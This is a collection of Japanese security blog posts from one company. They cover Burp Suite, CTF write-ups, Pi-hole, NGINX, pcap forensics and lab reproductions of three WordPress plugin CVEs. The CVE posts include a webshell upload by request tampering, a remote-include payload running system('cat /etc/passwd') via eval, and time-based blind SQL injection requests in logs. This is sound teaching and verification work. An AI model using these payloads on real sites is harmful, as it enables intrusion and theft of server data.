Burp SuiteでCVE-2020-24389を検証してみた

このブログは、N高等学校とVRChatの世界からやってきた株式会社ArmorisアルバイトのShaderoが書いています。 あるもりすぶろぐの内容は個人の意見です。

今回はBurp Suiteの基本的な使い方を学習するために、非常に簡単に再現が行えるCVE-2020-24389を検証してみました。Burp Suiteを用いた検証の大まかな流れや、後述するProxy機能の便利さなどが伝われば幸いです。

Burp Suiteとは

脆弱性検証でよく使われているローカルプロキシツールです。本記事で使う無償のCommunity Edition以外に、有償のProfessionalやEnterpriseがありますが、本記事で使うProxy機能は無償版でも使えます。

検証環境

本記事は以下の環境を使用しています。

Name Version
Windows10 Pro 21H1
Burp Suite Community Edition v2021.6.2

インストール

まずはBurp Suiteをインストールします。公式サイトより「Burp Suite Community Edition」を選択し、インストーラーをダウンロードしてインストールしてください。

起動~通信履歴の観覧

Burp Suiteを起動すると、Project選択画面が表示されます。 本エディションの場合「Temporary project」しか選べないため、そのまま次に進んでください。

f:id:Armoris:20211006190023p:plain

次にBurp Suiteの設定を選択する画面が表示されます。 過去にBurp Suiteをインストールしていてコンフィグファイルをエクスポートしていた方などはここで読み込むことが出来ますが、今回は「Use Burp defaults」を選択し「Start Burp」をクリックします。

f:id:Armoris:20211006190035p:plain

Startすると以下の画面が表示されます。

f:id:Armoris:20211006190048p:plain

ツールバーの下にある「Proxy」をクリックすると以下の画面が表示されます。この画面を使って通信の改竄や通信履歴の観覧を行います。自分のブラウザにプロキシを設定してサイトにアクセスする方法もありますが、今回はBurp suiteに組み込まれているブラウザを使って通信履歴の観覧を行います。

f:id:Armoris:20211006190104p:plain

「Intercept is on」と書かれている青いボタンをクリックし「Intercept is off」にします。オンにしたままにすると通信内容の改竄が出来るのですが、ここでは改竄は行わずに通信履歴を観覧したいためオフにします。

f:id:Armoris:20211006190132p:plain

その後「Open Browser」をクリックし、立ち上がったブラウザを使って任意のWebサイトにアクセスしBurp Suiteにある「HTTP history」をクリックすると通信履歴が表示されます。ヤッタネ!(画像はGoogle.comにアクセスした際の履歴)

f:id:Armoris:20211006190147p:plain

実際にWordpressプラグイン脆弱性検証をする(CVE-2020-24389)

ここでは実際にWordpressプラグイン脆弱性を検証してみます。この脆弱性は一部のファイル拡張子が無効化されていなかったため、任意のPHPコードがアップロード出来てしまう脆弱性です。

Wordpressサーバー環境

Name Version
Ubuntu 20.04
Wordpress 5.5.1
Contact Form 7 5.2.1
Drag and Drop Multiple File Upload - Contact From 7 1.3.5.1

やってみる

今回は通信の改竄を行うので「Intercept is on」と書かれている青いボタンになっているか確認します。「on」になっていない場合はクリックしてオンにしてください。

f:id:Armoris:20211006190203p:plain

「Open Browser」をクリックし、立ち上がったブラウザで該当のWordPressのサイトにアクセスすると、Burp Suiteの方で通信を改竄する画面が表示されますが、ここは何もせず「Forward」をクリックします。

f:id:Armoris:20211006190229p:plain

該当のサイトが表示されたら任意のpngドラッグアンドドロップでアップロードします。ここで通信内容を改竄して画像ファイルではなくPHPコードをアップロードさせます。

f:id:Armoris:20211006190241p:plain

以下は実際に改竄を行うリクエストの画像

f:id:Armoris:20211006190251p:plain

jpg|jpeg|JPG|png|gif|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv|xlsと書かれている所をpharに、filename="(任意の名前).png"filename="(任意の名前).phar"に、Content-Type: image/pngより下、------WebKitFormBoundary………云々より上の文字列をアップロードさせたいPHPのコード(ここではwebshellのコードを使用)に書き換えて「Forward」をクリックすると任意のPHPコードがアップロードされます。

f:id:Armoris:20211006190304p:plain

「(WordpressIPアドレス)/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/」にアクセスすると先程のPHPファイルが実際にアップロードされているのが確認できます。

f:id:Armoris:20211006190313p:plain

実際にそのPHPファイルにアクセスすると実行することも出来ました。

f:id:Armoris:20211006190322p:plain

最後に

今回初めてBurp Suiteを使ってみましたが、GUIで視覚的に分かりやすく簡単に通信の流れが確認できる上に通信内容を書き換える事が出来てとても便利でした。有償のProfessional版はこれらの無償版の機能に加えて脆弱性スキャン機能やプロジェクト保存機能などもありますが、個人で軽く使う分には無償のCommunity Editionでも問題ないと思います。Proxy機能とても便利なのでぜひ使ってみてください!

Armoris日記 NGINX-Proxy WebSocket編

このブログは、元N高生株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

NGINX ProxyとWebSocketのお話

先日社内システムのNGINX Proxyで設定を変更した際、WebSocket通信で問題が発生しました。今回は問題解決のために行ったこと、解決方法について取り上げます。

NGINXに加えた変更について

これまでNGINX Proxyでの認証にはNGINX標準の機能を利用したBasic Authを利用していましたが、セキュリティ上の問題などから外部モジュールを利用したDigest Authに変更しています。
変更時の作業についてはいずれArmoris日記としてまとめたいと思います。

発生した問題

NGINXの設定を変更後Proxyしている特定のサービスにアクセスすると、「数分ですぐに認証ダイアログが再表示される」「特定の通信がエラーで失敗する」といった不具合が確認されました。
実際に通信時のログなどを確認し、どうやら通信が失敗するのはXHRのリクエストだという事がわかりました。 f:id:Armoris:20210914185409j:plain また、エラーが発生しているのはMattermostとの通信で、このサービスは大量のWebSocket通信を行うことから、WebSocketをProxyさせることで問題が起きているのではないかと考えました。(以前Mattermostを構築した際にも挙動がおかしい原因としてWebSocketの問題があった)

解決策1タイムアウトまでの時間を伸ばす

まず初めに解決策として考えたのはNGINXで導入しているDigest Authモジュールでタイムアウトまでの時間を設定することです。

タイムアウトまでの時間はreadmeを確認するとデフォルトで1分になっています。
そこでauth_digest_timeoutを数時間単位で設定しましたが、この方法では今回の問題は解決できませんでした。

解決策2NGINXにWebSocket用の設定を追記

次の解決策としてNGINXの公式リファレンスにある NGINX as a WebSocket Proxy を参考にproxy_http_versionのパラメータを明示的に設定することです。このパラメータを追加すると、NGINXが通信をWebSocketと認識して通信エラーが発生しなくなります。

実際に設定ファイルには以下の1行を追記しました。

proxy_http_version 1.1;

結果はたったこれだけで発生していた問題が解決しました。
この設定を行ってからは通信エラーが発生することなく安定して動いています。

最後に

今回問題があったのはWebSocket通信の部分ですが、これに気づけないとなかなか問題解決に至るのは難しいと思います。また、今回問題があったのはWebSocket通信を頻繁に行うサービスだったと言うこともポイントになっていると思います。
実際に今回のような問題が発生した際に速やかに原因を特定し、解決するためにも運用しているサービスの特徴を把握しておくことは重要だと感じました。

Armoris日記 hkcert-ctf / CTF-Challenges 2020やってみた

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

  • CTFとは?

Capture The Flagの頭文字を取ったもので、旗取りゲームのことです。
サイバーセキュリティの分野では、Flagと呼ばれる文字列をサーバーに侵入して見つけ出したり、渡されたデータを解析して特定する競技のことを指します。

Write Up

目次

  1. 6FA
  2. Look into a photo & JPG as key

6FA

htmlに埋め込まれたjavascriptソースコードからPINを推定する問題
6桁のPINが6個あり、全部一致するとFlagが表示される

github.com

Key

var key = 2 * 72467 * 2;
var keys = (key + String(1 << 23)).split(8);

keyは普通に計算して289868 になる
keysはkeyに1を23ビット左にシフトした数を足して8でsplitした配列になっている
['2', '9', '6','', '3', '', '60', '']

1. PIN1

check1 = p => p == keys.join(keys[3]);    

keysの要素をjoin()でつなげただけなので、console.log(keys.join(keys[3]));とするとPIN1がわかる。
答えは296360となる

2. PIN2

check2 = p => p * 7 + keys[7] == keys[1].repeat(keys[2]);

keysを数字に置き換えてわかりやすくする

check2 = p => p * 7 + '' == 9.repeat(6);

こうするとp = 999999/7にして計算することができる
なので答えは142857

3. PIN3

check3 = p => p ** 3 - p ** 2 + key * p == 3.01781152450557e+16;

keyや指数表記を整数になおしてわかりやすくする

check3 = p => p ** 3 - p ** 2 + 289868 * p == 30178115245055700;

更に数式になおして解く
p^3-p^2+289868p=30178115245055700

  1. 両辺から30178115245055700を引く
    p^3-p^2+289868p-30178115245055700=0
  2. 左辺を因数分解して2個の方程式に分ける
    p-311337=0, p^2+311336p+96930706100=0
  3. 数学的にはまだ解が出ていませんが、p-311337=0からp=311337ということがわかる

なので答えは311337

4. PIN4

check4 = p => Number(p).toString(6 * 6) == "ctf" + keys[4] + keys[5];

keysを数字になおす

check4 = p => Number(p).toString(36) == "ctf" + '3' + ``;

toString()に引数を渡すと他の基数に変換してくれるので、36進数でctf3になる10進数が答えになる
なので答えは597999

5. PIN5

p.split("").reverse().join("") == String(keys[0] ** (keys[0] + keys[0] ** keys[0])).substr(-6);

keysを数字になおす

p.split("").reverse().join("") == String(2 ** (2 + 2 ** 2)).substr(-6);

右辺を計算すると777216になる
左辺ではpを一文字づつ分割してから配列にしてreverse().join()をしているので、右辺を右から読んだ数字になる
答えは612777

6. PIN6

check6 = function(p){
    var x = [];
    for(var i = 2; i <= keys.slice(6).join(6); i++)
        if(!x[i]){
            for(var j = 2 * i; j <= [6, 6].join(6) - keys[6]; j += i)
                x[j] = 1;
            p /= (i % 100 == 10 + 1) ? i : 1;
        }
    return p == 1;
}

読みやすいように整形してみる

check6 = function(p){
    var x = [];
    for(var i = 2; i <= 606; i++){
        if(!x[i])){ // 1
            for(var j = 2 * i; j <= 606; j+=i){
                x[j] = 1; // 2
            }
            if (i % 100 == 11) {  // 3
                console.log(i);
                p /= i;
            } else {
                p /= 1;
            }
        }
    }
    return p == 1; // 4
}

pがわからなくても手に入る情報をまとめる

  1. 606までの素数がif文を通る
  2. 配列xのj番目に1を入れる
  3. iを100で割った余り(剰余)が11だったらp/=i、違ったらp/=1をする。(除算代入)
  4. 入力されたpが3.の式で1になったらtrueを返す

この関数は受け取った数字が何回か割って1になるとtrueを返すので、素因数分解を使っていそうなことがわかる
なので3.のif文を通れる数をconsole.log(i);などで確認して全部かけると答えがわかる

答えは721831

おまけ

ちなみに総当りでも答えはわかる

for (let i = 111111; i < 999999; i++) {
    if (check1(i.toString())) console.log("1: "+i)
    if (check2(i.toString())) console.log("2: "+i)
    if (check3(i.toString())) console.log("3: "+i)
    if (check4(i.toString())) console.log("4: "+i)
    if (check5(i.toString())) console.log("5: "+i)
    if (check6(i.toString())) console.log("6: "+i)
}

JPG as key & Look into a photo

1枚の画像に隠されたFlagを見つける問題

環境

大まかな流れ

画像に情報を埋め込む手段はいくつかあるので、それぞれ試してみる

  • exif情報
    本来の用途は撮影したカメラの情報などを保存しておくための機能
    exiftool xxx.pngなどで確認できる
  • stringsコマンド
    バイナリファイルなどから表示可能な文字列を表示する strings xxx.pngなどで確認できる
  • binwalkコマンド
    埋め込まれているファイルを確認したり取り出す事ができる binwalk xxx.pngなどで確認できる

Look into a hoto

Flagはexiftoolとstrings両方で見つけることができた

Image DescriptionのほうはBase64エンコードされていそうなのでデコードする

┌──(kali㉿kali)-[~/Desktop]
└─$ exiftool q2.jpg
Image Description               : aGtjZXJ0MjB7ZG9jN29yX3MzaWRfbjlfbWVkaTZpbmVfbmU1ZH0=
┌──(kali㉿kali)-[~/Desktop]
└─$ echo 'aGtjZXJ0MjB7ZG9jN29yX3MzaWRfbjlfbWVkaTZpbmVfbmU1ZH0=' > exif.txt
┌──(kali㉿kali)-[~/Desktop]
└─$ base64 -d exif.txt                                                    
hkcert20{doc7or_s3id_n9_medi6ine_ne5d} 

stringsではそのままFlagが出た

┌──(kali㉿kali)-[~/Desktop]
└─$ strings q2.jpg
hkcert20{doc7or_s3id_n9_medi6ine_ne5d}

JPG as key

こちらはexifとstringsではFlagは見つけられなかったのでbinwalkで見てみると、画像内にパスワード付きのzipファイルが埋め込まれていることがbinwalkによってわかった。

┌──(kali㉿kali)-[~/Desktop]
└─$ binwalk left_exit.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
57895         0xE227          Zip archive data, encrypted at least v2.0 to extract, compressed size: 3007, uncompressed size: 3048, name: flag.png
60940         0xEE0C          Zip archive data, encrypted at least v2.0 to extract, compressed size: 51376, uncompressed size: 51405, name: left_exit.jpg
112544        0x1B7A0         End of Zip archive, footer length: 22

このzipファイルにはダウンロードしてきた画像(left_exit.jpg)と同じものが入っているので、 既知平文攻撃というものが使える
既知平文攻撃とは、暗号化されたファイルの中身の一つと同じものを用意できれば、そのファイルを復号できるというもの

今回はpkcrackというツールを使って復号する

  • インストール
$ wget http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
$ tar xzvf pkcrack-1.2.2.tar.gz
$ cd pkcrack-1.2.2/src
$ make
  • 必要なファイルを用意する
$ binwalk left_exit.jpg --dd='.*
$ binwalk ./left_exit.jpg -o 0 -l 51405 --dd='.*''

一行目では暗号化されたzipを、二行目ではzipが埋め込まれていないleft_exit.jpg単体を取り出している。

2行目で生成されたフォルダーに移動して

$ 7z a left_exit.zip left_exit.jpg

暗号化されていないzipファイルを用意する。

  • パスワード付きのzipを解凍する
pkcrack -C 暗号化されたzip -c left_exit.jpg -P left_exit.zip -p left_exit.jpg -d flag.zip

-C 暗号化されたzip
-c 暗号化されたzip内で平文のわかっているファイル
-P -cで指定したファイルをパスワードなしで圧縮したファイル
-p 平文のファイル
-d 出力先

解凍して得られたflag.pngQRコードになっており、スマホなどで読み込むと hkcert20{n0w_y0u_can_crack_z1p} Flagを見つけることができた。

まとめ

今回はソースコードから機密情報などを抜き出すReverse Enginneringと、ファイルに隠された情報を見つけ出すForensicsの問題を解いてみました。 CTFには他にも暗号を解読するCryptographyや、脆弱性を突いてFlagを入手するExploitationなどさまざまな分野の問題があるので得意な分野の問題を解いてみたり、まだ知らない分野の問題に触れてみると面白いかもしれません。

Armoris日記 Pi-holeで不審なドメインを遮断編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

今回はPi-holeの導入と設定方法、使い方を紹介しようと思います。
Pi-holeはDNSシンクホール(DNSサーバーの一種)で、不審なドメインを遮断することができます。 DNSシンクホールとは、問い合わせがあったドメインブラックリストに登録されていた場合に、指定したIPアドレス (127.0.0.1など)を返すことで正常に名前解決をできないようにして、本来の通信を阻止するというものです。

Pi-holeを使うメリットは

  • マルウェアなどをホストしている不審なドメインを事前にブラックリストに登録しておくことでセキュリティの向上につながる
  • LAN内にキャッシュサーバーがあることで通信速度が若干早くなる

などがあります。

以下はPi-hole導入時の動作イメージです

f:id:Armoris:20210831140014p:plain
Pi-holeの動作イメージ

環境

f:id:Armoris:20210831123821p:plain

セットアップ

  1. インストールの手順
  2. DNSの設定

インストール

  • docker-pi-holeのインストール
$ git clone https://github.com/pi-hole/docker-pi-hole.git
$ cd docker-pi-hole
$ mv docker-compose.yml.example docker-compose.yml
  • 起動
$ docker-compose up -d
  • パスワードの設定
$ sudo pihole -a -p
  • 管理画面にアクセス
    Pi-holeを起動したサーバーのipをブラウザで開いてログイン
    f:id:Armoris:20210826145557p:plain

DNSの設定(windows)

  • コントロールパネルからネットワークと共有センターを開きます。
  • 画面右側の接続からプロパティを開き、インターネットプロトコル バージョン4(TCP/IPv4)をクリックするとDNSの設定画面が見れます。
    f:id:Armoris:20210826145623p:plain
  • 次のDNSサーバーのアドレスを使うをクリックして先ほど用意したサーバーのIPアドレスを設定します。
    f:id:Armoris:20210826145628p:plain

DNSの設定(iOS)

iOSの設定方法も紹介しておきます。
* 接続しているWiFiの右側にある青いボタンをタップします。

f:id:Armoris:20210826152833p:plain
* 下から2番目のDNSの設定を開きます。
f:id:Armoris:20210826152830p:plain
* Manualを選択して最初からあるIPアドレスを消してPi-holeのIPアドレスを設定します。
f:id:Armoris:20210826152825p:plain

ルーターDNS設定を変更する場合は端末ごとに設定する必要はありません。

ブラックリストの追加

これで設定は完了ですが、最初から用意されているブラックリストではあまり効果がないのでブラックリストの追加をします。

f:id:Armoris:20210826145601p:plain
今回は悪いインターネット様のリストを使わさせていただきました。
左側のメニューのGroup ManagementのAdlistsを開き、Address:に先ほどのサイトからコピーしてきたホストファイルのリンクをペーストします。
追加が終わったら

$ pihole -g

を実行することでリストが更新されます。

まとめ

インストール作業がCLIだったり24時間稼働できるパソコンが必要だったりとちょっとハードルは高いPi-holeですが、各種設定はブラウザからできて機能も豊富なのでとても便利です。
今回はお試しだったのでWindowsのDocker Desktopで動かしましたが、Pi-holeの名前の通りraspberry Piでサーバーを建てておくのを想定されてるっぽいので時間があるときにraspberry Piを買って試してみようとおもいます。

Armoris日記 CVE-2019-9978編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2019-9978の検証

今回は少し古めですがCVE-2019-9978の検証をしていきます。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2019-9978はSocial Warfareという記事にSNSへ共有するためのボタンを追加するWordPressプラグインでRCEが可能になる脆弱性になります。 これを利用することで攻撃者は任意のコマンドをWordPressをホストしているサーバーで実行することができるようになります。

脆弱性情報 : NVD 当該プラグイン : Social Warfare

影響を受けるバージョン : 3.5.2以下

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
WordPress 5.8
Social Warfare 3.5.2

まずはVirtual BoxでUbuntu Serverを2つ用意します。 この時、設定からネットワークのアダプター2のネットワークアダプターを有効化にチェックを入れ、割り当てをホストオンリーアダプターに設定します。

環境構築

WordPress側の構築

  • Apache2のインストール
$ sudo apt install -y apache2
$ sudo cp /etc/apache2/apache2.conf /etc/apache2/apache2.conf.original
$ sudo vim /etc/apache2/apache2.conf

/etc/apache2/apache2.conf

<Directory /var/www/html/wordpress>
        AllowOverride All
</Directory>
  • Apache2を再起動
$ sudo a2enmod rewrite
$ sudo systemctl restart apache2
  • mysqlのインストール
$ sudo apt install -y mysql-server
$ sudo mysql_secure_installation
  • データベースとユーザーの作成
$ mysql -u root -p
mysql> CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
mysql> CREATE USER wp@localhost identified with mysql_native_password by 'password'; 
mysql> grant all on *.* to wp@localhost; 
  • phpのインストール
$ sudo apt install -y php libapache2-mod-php php-mysql
  • WordPressのインストール
    インストール作業は/tmpで行います。
$ wget https://ja.wordpress.org/wordpress-5.8-ja.tar.gz
$ tar -zxvf wordpress-5.7.2-ja.tar.gz
$ mv wordpress /var/www/html/wordpress
$ wget https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
$ unzip social-warfare.3.5.2.zip
$ mv social-warfare /var/www/html/wordpress/wp-content/plugins

Apache2側の構築

  • Apache2のインストール
$ sudo apt install -y apache2
  • 対象のサーバーで実行するコマンドを用意する
$ vim /var/www/html/payload.txt 
<pre>system('cat /etc/passwd')</pre>
  • system()の引数に任意の実行したいコマンドを入れる

    検証

    http://ターゲットのwordpressサイト/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://用意したサーバーのIPアドレス/payload.txtにアクセスする。

実行した結果

f:id:Armoris:20210819152606p:plain
CVE-2019-9978

脆弱性の原因

この脆弱性はユーザーから受け取ったデータを何の検査もせずにeval()に渡したことが原因です。

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
    if (!is_admin()) {
        wp_die('You do not have authorization to view this page.');
    }
 
    $options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);
 
$array = 'return ' . $options . ';';
 
try {
    $fetched_options = eval( $array );
}

phpのeval()は渡された文字列をPHPコードとして実行する関数なので、対策をしないと任意のコードを実行することができるようになってしまいます。

このような攻撃から守るために、プラグインのアップデート情報に注意し、アップデートがある場合は検証などを行った上で、速やかに更新するようにしましょう。

参考 wordfence
PoC github

Armoris日記 May 2021 Forensic Contest編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

概要

May 2021 Forensic Contestの問題を解いてみる。
Forensic Contestとは毎月発表される問題を最初に正解した人が景品をもらえるコンテストです。
問題の内容はpcapを分析して、悪意のあるメールを開いたことによってマルウェアに感染したWindows PCの情報などを答えるものになっています。

問題は全部で5問あり、以下は各問題文になります。

1. IP address of the infected Windows computer.
2. Host name of the infected Windows computer.
3. User account name on the infected Windows computer.
4. Date and time the infection activity began in UTC (the GMT or Zulu timezone).
5. The family of malware involved.

以下は問題文を日本語訳したものになります。

1. 感染したPCのipアドレス
2. 感染したPCのホストネーム
3. 感染したPCのユーザーアカウントネーム
4. 感染した時間
5. 感染したマルウェアの種類

問題を掲載しているサイト:May 2021 Forensic Contest

環境

今回使用するpcapファイルには実際に感染したwindowsのパケットが含まれているため、分析は仮想環境など隔離された環境で行うこと

アプローチ

問題1

問題1の感染したPCのipアドレスを特定するために以下の手順で分析を行いました。

今回の感染源は悪意のあるメールなので、まずはWiresharkのフィルターにsmtpを設定してメール関係のパケットに絞って確認していきます。
次にメールを受信しているパケットを確認すると、いくつかのメールを172.17.4.20が受け取っていることがわかりました。

f:id:Armoris:20210705125722p:plain
wireshark

問題2-3

次に問題2と3の感染したPCのホストネームとユーザーアカウントネームを特定するために、以下の手順で分析を行いました。

Wiresharkwindowsのホストネームとユーザーアカウントネームを調べる方法については以下のサイトを参考にしました。 - 参考にしたサイト

サイトを参考にkerberos.CNameStringでフィルターするとCNameStringが含まれたパケットが表示されるので、No.104のパケットをKerberos->as-req->req-body->cname->cname-stringの順にツリーを展開して、CNameString を選択して Apply as Column します。 f:id:Armoris:20210705131000p:plain この手順でDESKTOP-V0FEH1L$alfonso.paternosterを確認することができました。
この方法でホストネームを調べると末尾に$が付くので解答する際に消します。

4-5

最後に問題4と5のマルウェアに感染した時刻とそのマルウェアの種類を特定するために、以下の手順で分析を行いました。

Wiresharkマルウェアの情報を調べる方法については以下のサイトを参考にしました。 - 参考にしたサイト

サイトを参考に、Wireshark上部のメニューからFile->Export Objects->HTTPを開くと ひとつだけ怪しいHostnameのところからダウンロードしているのを見つけました。
f:id:Armoris:20210705131857p:plain f:id:Armoris:20210705132147p:plain ファイルの名前で検索をするとHTTP GETでマルウェアをダウンロードしているパケットが見つかるので、このパケットの時刻に感染したことになります。
またこのHostnameをmalwareurlというサイトで検索したところTrojan Qakbotになっていました。
このことから感染したマルウェアの種類はTrojan Qakbotになります。 f:id:Armoris:20210705132822p:plain

感想

全体的に調べれば解き方がわかるような問題が多かったので思った以上に簡単でした。
(外部サービスを使わずにパケットの特徴からマルウェアの種類を調べたりするともう少し勉強になったかもしれない。)

すでに多くのサイトやブログで解答が出ていますが、今回の紹介した方法で出した解答は以下になります。

Armoris日記 CVE-2021-24340編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2021-24340の検証

今回のArmoris日記では2021/05/19に公開されたCVE-2021-24340について簡単な検証を行います。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2021-24340はWP StatisticsというWordPressのサイトアナリティクスを表示するプラグインに存在するブラインドSQLインジェクション脆弱性になります。本来であれば認証が必要なリクエストを攻撃者が認証を必要とせず実行できてしまうことに問題があります。
今回脆弱性が報告されたプラグインは60万件のサイトで導入されています。

ブラインドSQLインジェクションとは

脆弱性情報:Wordfence
該当プラグインWP Statistics

影響を受けるバージョン:WP Statistics < 13.0.8

検証環境

検証用に用意した環境と各種バージョン情報は以下のとおりです。

Name Version
Ubuntu Server 20.04
WordPress 5.7.2
WP Statistics 13.0.7

検証環境作成

まずVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6823, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.33
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2021-24340/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.33 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段私がArmoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。

WordPressのインストールが完了後プラグインの用意をします。

$ wget https://downloads.wordpress.org/plugin/wp-statistics.13.0.7.zip
$ sudo unzip wp-statistics.13.0.7.zip
$ sudo mv wp-statistics /var/www/wordpress/wp-content/plugins/

プラグインファイルを解凍後にWordPressプラグインフォルダに移動し、ブラウザからサイトにアクセスしてプラグインを有効化します。
プラグインを有効化したら一度WordPressにアクセスし直してデフォルトのページを表示します。こうすることでサイトのアナリティクスデータが作成され、攻撃が可能になります。

PoCの実行

2021/06/09現在いくつかPoCが公開されており、今回は実際にスクリプトを使用してDBのバージョン情報を取得します。

実際に攻撃実行した結果になります。

$ python3 poc.py http://172.20.100.120:6823/wp-admin/admin.php 1
2021-06-09 04:15:32
[*] Params:
        [*] BaseURL: http://172.20.100.120:6823/wp-admin/admin.php
        [*] Timeout: 1
1
10
10.
10.3
10.3.
10.3.2
10.3.29
10.3.29-
10.3.29-M
10.3.29-Ma
10.3.29-Mar
10.3.29-Mari
10.3.29-Maria
10.3.29-MariaD
10.3.29-MariaDB
10.3.29-MariaDB-
10.3.29-MariaDB-0
10.3.29-MariaDB-0u
10.3.29-MariaDB-0ub
10.3.29-MariaDB-0ubu
10.3.29-MariaDB-0ubun
10.3.29-MariaDB-0ubunt
10.3.29-MariaDB-0ubuntu
10.3.29-MariaDB-0ubuntu0
[*] Exfiltrated data: 10.3.29-MariaDB-0ubuntu0
2021-06-09 04:19:45

以下は実際にWordPressで使用しているDBサーバーでバージョン情報を表示した結果になります。

MariaDB [wordpress]> SELECT @@VERSION;
+----------------------------------+
| @@VERSION                        |
+----------------------------------+
| 10.3.29-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.002 sec)

実際に認証を必要とせずDBサーバーの情報と同じものが取得できることが確認できます。

この時のApacheのログを確認すると以下のようになっています。

192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D110)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D110%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D111)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D111%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4853 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D112)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D112%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"
192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-admin/admin.php?ID=1+OR+(CASE+WHEN+(select+ASCII((substring((select+version()),22,1)))%3D113)+THEN+SLEEP(1)+ELSE+SLEEP(0)+END)&page=wps_pages_page&type=1 HTTP/1.1" 302 669 "-" "python-requests/2.25.1"
